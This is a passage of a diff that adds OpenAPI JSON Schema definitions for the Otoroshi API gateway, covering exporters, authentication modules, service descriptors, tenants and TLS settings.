}, + "title" : "Foo", + "required" : [ "location", "id", "name", "description", "tags", "metadata" ] + }, + "incookie" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "In cookie", + "required" : [ "name" ] + }, + "s3exportersettings" : { + "type" : "object", + "properties" : { + "maxFileSize" : { + "type" : "number" + }, + "maxNumberOfFile" : { + "type" : "number" + }, + "config" : { + "$ref" : "#/components/schemas/s3configuration" + } + }, + "title" : "S3 exporter settings", + "required" : [ "maxFileSize", "config" ] + }, + "cacheconnectionsettings" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "queueSize" : { + "type" : "number" + }, + "strategy" : { + "$ref" : "#/components/schemas/ngoverflowstrategy" + } + }, + "title" : "Cache connection settings", + "required" : [ "enabled", "queueSize", "strategy" ] + }, + "PatchDocument" : { + "type" : "object", + "description" : "A JSONPatch document as defined by RFC 6902", + "required" : [ "op", "path" ], + "properties" : { + "op" : { + "type" : "string", + "description" : "The operation to be performed", + "enum" : [ "add", "remove", "replace", "move", "copy", "test" ] + }, + "path" : { + "type" : "string", + "description" : "A JSON-Pointer" + }, + "value" : { + "type" : "object", + "description" : "The value to be used within the operations." + }, + "from" : { + "type" : "string", + "description" : "A string containing a JSON Pointer value." + } + } + }, + "dataexporterconfigtype" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/dataexporterconfigtypeconsole" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypecustom" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypecustommetrics" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypeelastic" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypefile" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypegoreplayfile" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypegoreplays3" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypekafka" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypemailer" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypemetrics" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypenone" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypeotlplogs" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypeotlpmetrics" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypepulsar" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypes3file" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypewasm" + }, { + "$ref" : "#/components/schemas/dataexporterconfigtypewebhook" + } ] + }, + "otoroshiadmintypewebauthnadmin" : { + "type" : "object", + "properties" : { }, + "title" : "Otoroshi admin type web authn admin" + }, + "exporter" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/consolesettings" + }, { + "$ref" : "#/components/schemas/elasticanalyticsconfig" + }, { + "$ref" : "#/components/schemas/exporterref" + }, { + "$ref" : "#/components/schemas/filesettings" + }, { + "$ref" : "#/components/schemas/goreplayfilesettings" + }, { + "$ref" : "#/components/schemas/goreplays3settings" + }, { + "$ref" : "#/components/schemas/metricssettings" + }, { + "$ref" : "#/components/schemas/noneexporter" + }, { + "$ref" : "#/components/schemas/s3exportersettings" + }, { + "$ref" : "#/components/schemas/webhook" + } ] + }, + "security.otoroshi.io.AuthModule" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/basicauthmoduleconfig" + }, { + "$ref" : "#/components/schemas/genericoauth2moduleconfig" + }, { + "$ref" : "#/components/schemas/ldapauthmoduleconfig" + }, { + "$ref" : "#/components/schemas/oauth1moduleconfig" + }, { + "$ref" : "#/components/schemas/samlauthmoduleconfig" + }, { + "$ref" : "#/components/schemas/wasmauthmoduleconfig" + } ] + }, + "Done" : { + "type" : "object", + "description" : "operation is done", + "properties" : { + "done" : { + "type" : "boolean" + } + } + }, + "jsnumber" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "number" + } + }, + "title" : "Js number", + "required" : [ "value" ] + }, + "apidescriptor" : { + "type" : "object", + "properties" : { + "exposeApi" : { + "type" : "boolean" + }, + "openApiDescriptorUrl" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Api descriptor", + "required" : [ "exposeApi" ] + }, + "dataexporterconfigtypeotlplogs" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type otlp logs" + }, + "requirement" : { + "type" : "object", + "properties" : { }, + "title" : "Requirement" + }, + "indexsettingsinterval" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/indexsettingsintervalday" + }, { + "$ref" : "#/components/schemas/indexsettingsintervalmonth" + }, { + "$ref" : "#/components/schemas/indexsettingsintervalweek" + }, { + "$ref" : "#/components/schemas/indexsettingsintervalyear" + } ] + }, + "samlsignaturealgorithmrsa_sha256" : { + "type" : "object", + "properties" : { }, + "title" : "S a m l signature algorithm r s a-s h a256" + }, + "pluginindex" : { + "type" : "object", + "properties" : { + "sink" : { + "type" : "number" + }, + "preRoute" : { + "type" : "number" + }, + "validateAccess" : { + "type" : "number" + }, + "transformRequest" : { + "type" : "number" + }, + "transformResponse" : { + "type" : "number" + }, + "matchRoute" : { + "type" : "number" + }, + "handlesTunnel" : { + "type" : "number" + }, + "callBackend" : { + "type" : "number" + } + }, + "title" : "Plugin index" + }, + "sign" : { + "type" : "object", + "properties" : { + "verificationSettings" : { + "$ref" : "#/components/schemas/verificationsettings" + }, + "algoSettings" : { + "$ref" : "#/components/schemas/algosettings" + } + }, + "title" : "Sign", + "required" : [ "verificationSettings", "algoSettings" ] + }, + "canary" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "traffic" : { + "type" : "number" + }, + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/target" + } + }, + "root" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Canary", + "required" : [ "enabled", "traffic", "targets", "root" ] + }, + "dataexporterconfigtypeelastic" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type elastic" + }, + "LetsEncryptCertBody" : { + "type" : "object", + "description" : "PEM encoded certificate" + }, + "targetpredicate" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/alwaysmatch" + }, { + "$ref" : "#/components/schemas/datacentermatch" + }, { + "$ref" : "#/components/schemas/geolocationmatch" + }, { + "$ref" : "#/components/schemas/infraprovidermatch" + }, { + "$ref" : "#/components/schemas/networklocationmatch" + }, { + "$ref" : "#/components/schemas/rackmatch" + }, { + "$ref" : "#/components/schemas/regionmatch" + }, { + "$ref" : "#/components/schemas/zonematch" + } ] + }, + "security.otoroshi.io.AdminSession" : { + "type" : "object", + "properties" : { + "randomId" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "email" : { + "type" : "string", + "minLength" : 1 + }, + "profile" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "token" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "authConfigId" : { + "type" : "string", + "minLength" : 1 + }, + "simpleLogin" : { + "type" : "boolean" + }, + "createdAt" : { + "type" : "string", + "format" : "date" + }, + "expiredAt" : { + "type" : "string", + "format" : "date" + }, + "lastRefresh" : { + "type" : "string", + "format" : "date" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "rights" : { + "$ref" : "#/components/schemas/userrights" + }, + "adminEntityValidators" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonvalidator" + } + } + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Back office user", + "required" : [ "randomId", "name", "email", "profile", "token", "authConfigId", "simpleLogin", "createdAt", "expiredAt", "lastRefresh", "tags", "metadata", "rights", "adminEntityValidators", "location" ] + }, + "algosettings" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/esalgosettings" + }, { + "$ref" : "#/components/schemas/eskpalgosettings" + }, { + "$ref" : "#/components/schemas/hsalgosettings" + }, { + "$ref" : "#/components/schemas/jwksalgosettings" + }, { + "$ref" : "#/components/schemas/kidalgosettings" + }, { + "$ref" : "#/components/schemas/rsakpalgosettings" + }, { + "$ref" : "#/components/schemas/rsalgosettings" + } ] + }, + "dataexporterconfigfiltering" : { + "type" : "object", + "properties" : { + "include" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsobject" + } + }, + "exclude" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsobject" + } + } + }, + "title" : "Data exporter config filtering", + "required" : [ "include", "exclude" ] + }, + "otoroshi.ssl.pki.models.GenKeyPairResponse" : { + "type" : "object", + "description" : "Response for a keypair generation operation", + "properties" : { + "publicKey" : { + "type" : "string", + "description" : "Public key (PEM encoded)" + }, + "privateKey" : { + "type" : "string", + "description" : "Private key (PEM encoded)" + } + } + }, + "basicauthconstraints" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "headerName" : { + "type" : "string", + "minLength" : 1 + }, + "queryName" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Basic auth constraints", + "required" : [ "enabled" ] + }, + "loadbalancing" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/bestresponsetime" + }, { + "$ref" : "#/components/schemas/ipaddresshash" + }, { + "$ref" : "#/components/schemas/random" + }, { + "$ref" : "#/components/schemas/roundrobin" + }, { + "$ref" : "#/components/schemas/sticky" + }, { + "$ref" : "#/components/schemas/weightedbestresponsetime" + } ] + }, + "jsnull" : { + "type" : "object", + "properties" : { }, + "title" : "Js null" + }, + "inheader" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + }, + "remove" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "In header", + "required" : [ "name", "remove" ] + }, + "dataexporterconfigtypemetrics" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type metrics" + }, + "otoroshi.ssl.pki.models.GenKeyPairQuery" : { + "type" : "object", + "description" : "Settings for generating a keypair", + "properties" : { + "algo" : { + "type" : "string", + "description" : "Keypair algorithm" + }, + "size" : { + "type" : "integer", + "format" : "int32", + "description" : "Keypair size" + } + } + }, + "organize.otoroshi.io.Tenant" : { + "type" : "object", + "properties" : { + "id" : { + "$ref" : "#/components/schemas/tenantid" + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Tenant", + "required" : [ "id", "name", "description", "tags", "metadata" ] + }, + "organize.otoroshi.io.Organization" : { + "type" : "object", + "properties" : { + "id" : { + "$ref" : "#/components/schemas/tenantid" + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Tenant", + "required" : [ "id", "name", "description", "tags", "metadata" ] + }, + "proxy.otoroshi.io.ServiceDescriptor" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "groups" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "env" : { + "type" : "string", + "minLength" : 1 + }, + "domain" : { + "type" : "string", + "minLength" : 1 + }, + "subdomain" : { + "type" : "string", + "minLength" : 1 + }, + "targetsLoadBalancing" : { + "$ref" : "#/components/schemas/loadbalancing" + }, + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/target" + } + }, + "root" : { + "type" : "string", + "minLength" : 1 + }, + "matchingRoot" : { + "type" : "string", + "minLength" : 1 + }, + "stripPath" : { + "type" : "boolean" + }, + "localHost" : { + "type" : "string", + "minLength" : 1 + }, + "localScheme" : { + "type" : "string", + "minLength" : 1 + }, + "redirectToLocal" : { + "type" : "boolean" + }, + "enabled" : { + "type" : "boolean" + }, + "userFacing" : { + "type" : "boolean" + }, + "privateApp" : { + "type" : "boolean" + }, + "forceHttps" : { + "type" : "boolean" + }, + "maintenanceMode" : { + "type" : "boolean" + }, + "buildMode" : { + "type" : "boolean" + }, + "strictlyPrivate" : { + "type" : "boolean" + }, + "sendOtoroshiHeadersBack" : { + "type" : "boolean" + }, + "readOnly" : { + "type" : "boolean" + }, + "xForwardedHeaders" : { + "type" : "boolean" + }, + "overrideHost" : { + "type" : "boolean" + }, + "allowHttp10" : { + "type" : "boolean" + }, + "logAnalyticsOnServer" : { + "type" : "boolean" + }, + "useAkkaHttpClient" : { + "type" : "boolean" + }, + "useNewWSClient" : { + "type" : "boolean" + }, + "tcpUdpTunneling" : { + "type" : "boolean" + }, + "detectApiKeySooner" : { + "type" : "boolean" + }, + "letsEncrypt" : { + "type" : "boolean" + }, + "enforceSecureCommunication" : { + "type" : "boolean" + }, + "sendInfoToken" : { + "type" : "boolean" + }, + "sendStateChallenge" : { + "type" : "boolean" + }, + "secComHeaders" : { + "$ref" : "#/components/schemas/seccomheaders" + }, + "secComTtl" : { + "$ref" : "#/components/schemas/finiteduration" + }, + "secComVersion" : { + "$ref" : "#/components/schemas/seccomversion" + }, + "secComInfoTokenVersion" : { + "$ref" : "#/components/schemas/seccominfotokenversion" + }, + "secComExcludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "secComSettings" : { + "$ref" : "#/components/schemas/algosettings" + }, + "secComUseSameAlgo" : { + "type" : "boolean" + }, + "secComAlgoChallengeOtoToBack" : { + "$ref" : "#/components/schemas/algosettings" + }, + "secComAlgoChallengeBackToOto" : { + "$ref" : "#/components/schemas/algosettings" + }, + "secComAlgoInfoToken" : { + "$ref" : "#/components/schemas/algosettings" + }, + "securityExcludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "publicPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "privatePatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "additionalHeaders" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "additionalHeadersOut" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "missingOnlyHeadersIn" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "missingOnlyHeadersOut" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "removeHeadersIn" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "removeHeadersOut" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "headersVerification" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "matchingHeaders" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "ipFiltering" : { + "$ref" : "#/components/schemas/ipfiltering" + }, + "api" : { + "$ref" : "#/components/schemas/apidescriptor" + }, + "healthCheck" : { + "$ref" : "#/components/schemas/healthcheck" + }, + "clientConfig" : { + "$ref" : "#/components/schemas/clientconfig" + }, + "canary" : { + "$ref" : "#/components/schemas/canary" + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "chaosConfig" : { + "$ref" : "#/components/schemas/chaosconfig" + }, + "jwtVerifier" : { + "$ref" : "#/components/schemas/jwtverifier" + }, + "authConfigRef" : { + "type" : "string", + "minLength" : 1 + }, + "cors" : { + "$ref" : "#/components/schemas/corssettings" + }, + "redirection" : { + "$ref" : "#/components/schemas/redirectionsettings" + }, + "clientValidatorRef" : { + "type" : "string", + "minLength" : 1 + }, + "transformerRefs" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "transformerConfig" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "accessValidator" : { + "$ref" : "#/components/schemas/accessvalidatorref" + }, + "preRouting" : { + "$ref" : "#/components/schemas/preroutingref" + }, + "plugins" : { + "$ref" : "#/components/schemas/plugins" + }, + "gzip" : { + "$ref" : "#/components/schemas/gzipconfig" + }, + "apiKeyConstraints" : { + "$ref" : "#/components/schemas/apikeyconstraints" + }, + "restrictions" : { + "$ref" : "#/components/schemas/restrictions" + }, + "hosts" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "paths" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "handleLegacyDomain" : { + "type" : "boolean" + }, + "issueCert" : { + "type" : "boolean" + }, + "issueCertCA" : { + "type" : "string", + "minLength" : 1 + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Service descriptor", + "required" : [ "id", "groups", "name", "description", "env", "domain", "subdomain", "targetsLoadBalancing", "targets", "root", "stripPath", "localHost", "localScheme", "redirectToLocal", "enabled", "userFacing", "privateApp", "forceHttps", "maintenanceMode", "buildMode", "strictlyPrivate", "sendOtoroshiHeadersBack", "readOnly", "xForwardedHeaders", "overrideHost", "allowHttp10", "logAnalyticsOnServer", "useAkkaHttpClient", "useNewWSClient", "tcpUdpTunneling", "detectApiKeySooner", "letsEncrypt", "enforceSecureCommunication", "sendInfoToken", "sendStateChallenge", "secComHeaders", "secComTtl", "secComVersion", "secComInfoTokenVersion", "secComExcludedPatterns", "secComSettings", "secComUseSameAlgo", "secComAlgoChallengeOtoToBack", "secComAlgoChallengeBackToOto", "secComAlgoInfoToken", "securityExcludedPatterns", "publicPatterns", "privatePatterns", "additionalHeaders", "additionalHeadersOut", "missingOnlyHeadersIn", "missingOnlyHeadersOut", "removeHeadersIn", "removeHeadersOut", "headersVerification", "matchingHeaders", "ipFiltering", "api", "healthCheck", "clientConfig", "canary", "metadata", "tags", "chaosConfig", "jwtVerifier", "cors", "redirection", "transformerRefs", "transformerConfig", "accessValidator", "preRouting", "plugins", "gzip", "apiKeyConstraints", "restrictions", "hosts", "paths", "handleLegacyDomain", "issueCert", "location" ] + }, + "snisettings" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "forwardIfNoMatch" : { + "type" : "boolean" + }, + "forwardsTo" : { + "$ref" : "#/components/schemas/tcptarget" + } + }, + "title" : "Sni settings", + "required" : [ "enabled", "forwardIfNoMatch", "forwardsTo" ] + }, + "seccominfotokenversionlegacy" : { + "type" : "object", + "properties" : { }, + "title" : "Sec com info token version legacy" + }, + "nameidformatunspecified" : { + "type" : "object", + "properties" : { }, + "title" : "Name i d format unspecified" + }, + "dataexporterconfigtypegoreplays3" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type go replay s3" + }, + "networklocationmatch" : { + "type" : "object", + "properties" : { + "provider" : { + "type" : "string", + "minLength" : 1 + }, + "region" : { + "type" : "string", + "minLength" : 1 + }, + "zone" : { + "type" : "string", + "minLength" : 1 + }, + "dataCenter" : { + "type" : "string", + "minLength" : 1 + }, + "rack" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Network location match" + }, + "defaulttoken" : { + "type" : "object", + "properties" : { + "strict" : { + "type" : "boolean" + }, + "token" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "verificationSettings" : { + "$ref" : "#/components/schemas/verificationsettings" + } + }, + "title" : "Default token", + "required" : [ "strict", "token", "verificationSettings" ] + }, + "keytype" : { + "type" : "object", + "properties" : { + "x$1" : { + "type" : "string", + "minLength" : 1 + }, + "x$2" : { + "$ref" : "#/components/schemas/requirement" + } + }, + "title" : "Key type", + "required" : [ "x$1", "x$2" ] + }, + "nameidformatpersistent" : { + "type" : "object", + "properties" : { }, + "title" : "Name i d format persistent" + }, + "organize.otoroshi.io.Team" : { + "type" : "object", + "properties" : { + "id" : { + "$ref" : "#/components/schemas/teamid" + }, + "tenant" : { + "$ref" : "#/components/schemas/tenantid" + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Team", + "required" : [ "id", "tenant", "name", "description", "tags", "metadata" ] + }, + "pkceconfig" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "algorithm" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "P k c e config", + "required" : [ "enabled", "algorithm" ] + }, + "Empty" : { + "type" : "object", + "description" : "an empty body. Useful for RPC like endpoints" + }, + "samlsignaturealgorithm" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/samlsignaturealgorithmdsa_sha1" + }, { + "$ref" : "#/components/schemas/samlsignaturealgorithmrsa_sha1" + }, { + "$ref" : "#/components/schemas/samlsignaturealgorithmrsa_sha256" + }, { + "$ref" : "#/components/schemas/samlsignaturealgorithmrsa_sha512" + } ] + }, + "ngtarget" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "hostname" : { + "type" : "string", + "minLength" : 1 + }, + "port" : { + "type" : "number" + }, + "tls" : { + "type" : "boolean" + }, + "weight" : { + "type" : "number" + }, + "protocol" : { + "$ref" : "#/components/schemas/httpprotocol" + }, + "predicate" : { + "$ref" : "#/components/schemas/targetpredicate" + }, + "ipAddress" : { + "type" : "string", + "minLength" : 1 + }, + "tlsConfig" : { + "$ref" : "#/components/schemas/ngtlsconfig" + } + }, + "title" : "Ng target", + "required" : [ "id", "hostname", "port", "tls", "weight", "protocol", "predicate", "tlsConfig" ] + }, + "thresholds" : { + "type" : "object", + "properties" : { + "overhead" : { + "$ref" : "#/components/schemas/triplebounds" + }, + "duration" : { + "$ref" : "#/components/schemas/triplebounds" + }, + "backendDuration" : { + "$ref" : "#/components/schemas/triplebounds" + }, + "calls" : { + "$ref" : "#/components/schemas/triplebounds" + }, + "dataIn" : { + "$ref" : "#/components/schemas/triplebounds" + }, + "dataOut" : { + "$ref" : "#/components/schemas/triplebounds" + }, + "headersOut" : { + "$ref" : "#/components/schemas/triplebounds" + }, + "headersIn" : { + "$ref" : "#/components/schemas/triplebounds" + } + }, + "title" : "Thresholds", + "required" : [ "overhead", "duration", "backendDuration", "calls", "dataIn", "dataOut", "headersOut", "headersIn" ] + }, + "jsobject" : { + "type" : "object", + "properties" : { + "underlying" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Js object", + "required" : [ "underlying" ] + }, + "tlsmodepassthrough" : { + "type" : "object", + "properties" : { }, + "title" : "Tls mode pass through" + }, + "samlsignaturealgorithmrsa_sha512" : { + "type" : "object", + "properties" : { }, + "title" : "S a m l signature algorithm r s a-s h a512" + }, + "dataexporterconfigtypegoreplayfile" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type go replay file" + }, + "ErrorResponse" : { + "type" : "object", + "description" : "error response" + }, + "elasticanalyticsconfig" : { + "type" : "object", + "properties" : { + "uris" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "index" : { + "type" : "string", + "minLength" : 1 + }, + "type" : { + "type" : "string", + "minLength" : 1 + }, + "user" : { + "type" : "string", + "minLength" : 1 + }, + "password" : { + "type" : "string", + "minLength" : 1 + }, + "headers" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "indexSettings" : { + "$ref" : "#/components/schemas/indexsettings" + }, + "mtlsConfig" : { + "$ref" : "#/components/schemas/mtlsconfig" + }, + "applyTemplate" : { + "type" : "boolean" + }, + "version" : { + "type" : "string", + "minLength" : 1 + }, + "maxBulkSize" : { + "type" : "number" + }, + "sendWorkers" : { + "type" : "number" + } + }, + "title" : "Elastic analytics config", + "required" : [ "uris", "headers", "indexSettings", "mtlsConfig", "applyTemplate", "maxBulkSize", "sendWorkers" ] + }, + "jsfalse" : { + "type" : "object", + "properties" : { }, + "title" : "Js false" + }, + "entitylocation" : { + "type" : "object", + "properties" : { + "tenant" : { + "$ref" : "#/components/schemas/tenantid" + }, + "teams" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/teamid" + } + } + }, + "title" : "Entity location", + "required" : [ "tenant", "teams" ] + }, + "droptailngoverflowstrategy" : { + "type" : "object", + "properties" : { }, + "title" : "Drop tail ng overflow strategy" + }, + "BulkResponseBody" : { + "type" : "object", + "description" : "BulkResponseBody object" + }, + "sticky" : { + "type" : "object", + "properties" : { }, + "title" : "Sticky" + }, + "green-score.extensions.otoroshi.io.GreenScore" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "routes" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/routerules" + } + }, + "thresholds" : { + "$ref" : "#/components/schemas/thresholds" + } + }, + "title" : "Green score entity", + "required" : [ "location", "id", "name", "description", "tags", "metadata", "routes", "thresholds" ] + }, + "restrictionpath" : { + "type" : "object", + "properties" : { + "method" : { + "type" : "string", + "minLength" : 1 + }, + "path" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Restriction path", + "required" : [ "method", "path" ] + }, + "oauth1moduleconfig" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "clientSideSessionEnabled" : { + "type" : "boolean" + }, + "sessionMaxAge" : { + "type" : "number" + }, + "consumerKey" : { + "type" : "string", + "minLength" : 1 + }, + "consumerSecret" : { + "type" : "string", + "minLength" : 1 + }, + "httpMethod" : { + "$ref" : "#/components/schemas/oauth1provider" + }, + "requestTokenURL" : { + "type" : "string", + "minLength" : 1 + }, + "authorizeURL" : { + "type" : "string", + "minLength" : 1 + }, + "accessTokenURL" : { + "type" : "string", + "minLength" : 1 + }, + "profileURL" : { + "type" : "string", + "minLength" : 1 + }, + "callbackURL" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "sessionCookieValues" : { + "$ref" : "#/components/schemas/sessioncookievalues" + }, + "userValidators" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonpathvalidator" + } + }, + "rightsOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "$ref" : "#/components/schemas/userrights" + } + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "adminEntityValidatorsOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonvalidator" + } + } + } + } + } + } + }, + "title" : "Oauth1 module config", + "required" : [ "id", "name", "desc", "clientSideSessionEnabled", "sessionMaxAge", "consumerKey", "consumerSecret", "httpMethod", "requestTokenURL", "authorizeURL", "accessTokenURL", "profileURL", "callbackURL", "tags", "metadata", "sessionCookieValues", "userValidators", "rightsOverride", "location", "adminEntityValidatorsOverride" ] + }, + "tcprule" : { + "type" : "object", + "properties" : { + "domain" : { + "type" : "string", + "minLength" : 1 + }, + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/tcptarget" + } + } + }, + "title" : "Tcp rule", + "required" : [ "domain", "targets" ] + }, + "ByteStreamBody" : { + "type" : "string", + "description" : "" + }, + "dataexporterconfigtypenone" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type none" + }, + "teamid" : { + "type" : "object", + "properties" : { + "rawValue" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Team id", + "required" : [ "rawValue" ] + }, + "ngplugininstanceconfig" : { + "type" : "object", + "properties" : { + "raw" : { + "$ref" : "#/components/schemas/jsobject" + } + }, + "title" : "Ng plugin instance config", + "required" : [ "raw" ] + }, + "largeresponsefaultconfig" : { + "type" : "object", + "properties" : { + "ratio" : { + "type" : "number" + }, + "additionalResponseSize" : { + "type" : "number" + } + }, + "title" : "Large response fault config", + "required" : [ "ratio", "additionalResponseSize" ] + }, + "esalgosettings" : { + "type" : "object", + "properties" : { + "size" : { + "type" : "number" + }, + "publicKey" : { + "type" : "string", + "minLength" : 1 + }, + "privateKey" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "E s algo settings", + "required" : [ "size", "publicKey" ] + }, + "dataexporterconfigtypekafka" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type kafka" + }, + "mtlsconfig" : { + "type" : "object", + "properties" : { + "certs" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "trustedCerts" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + 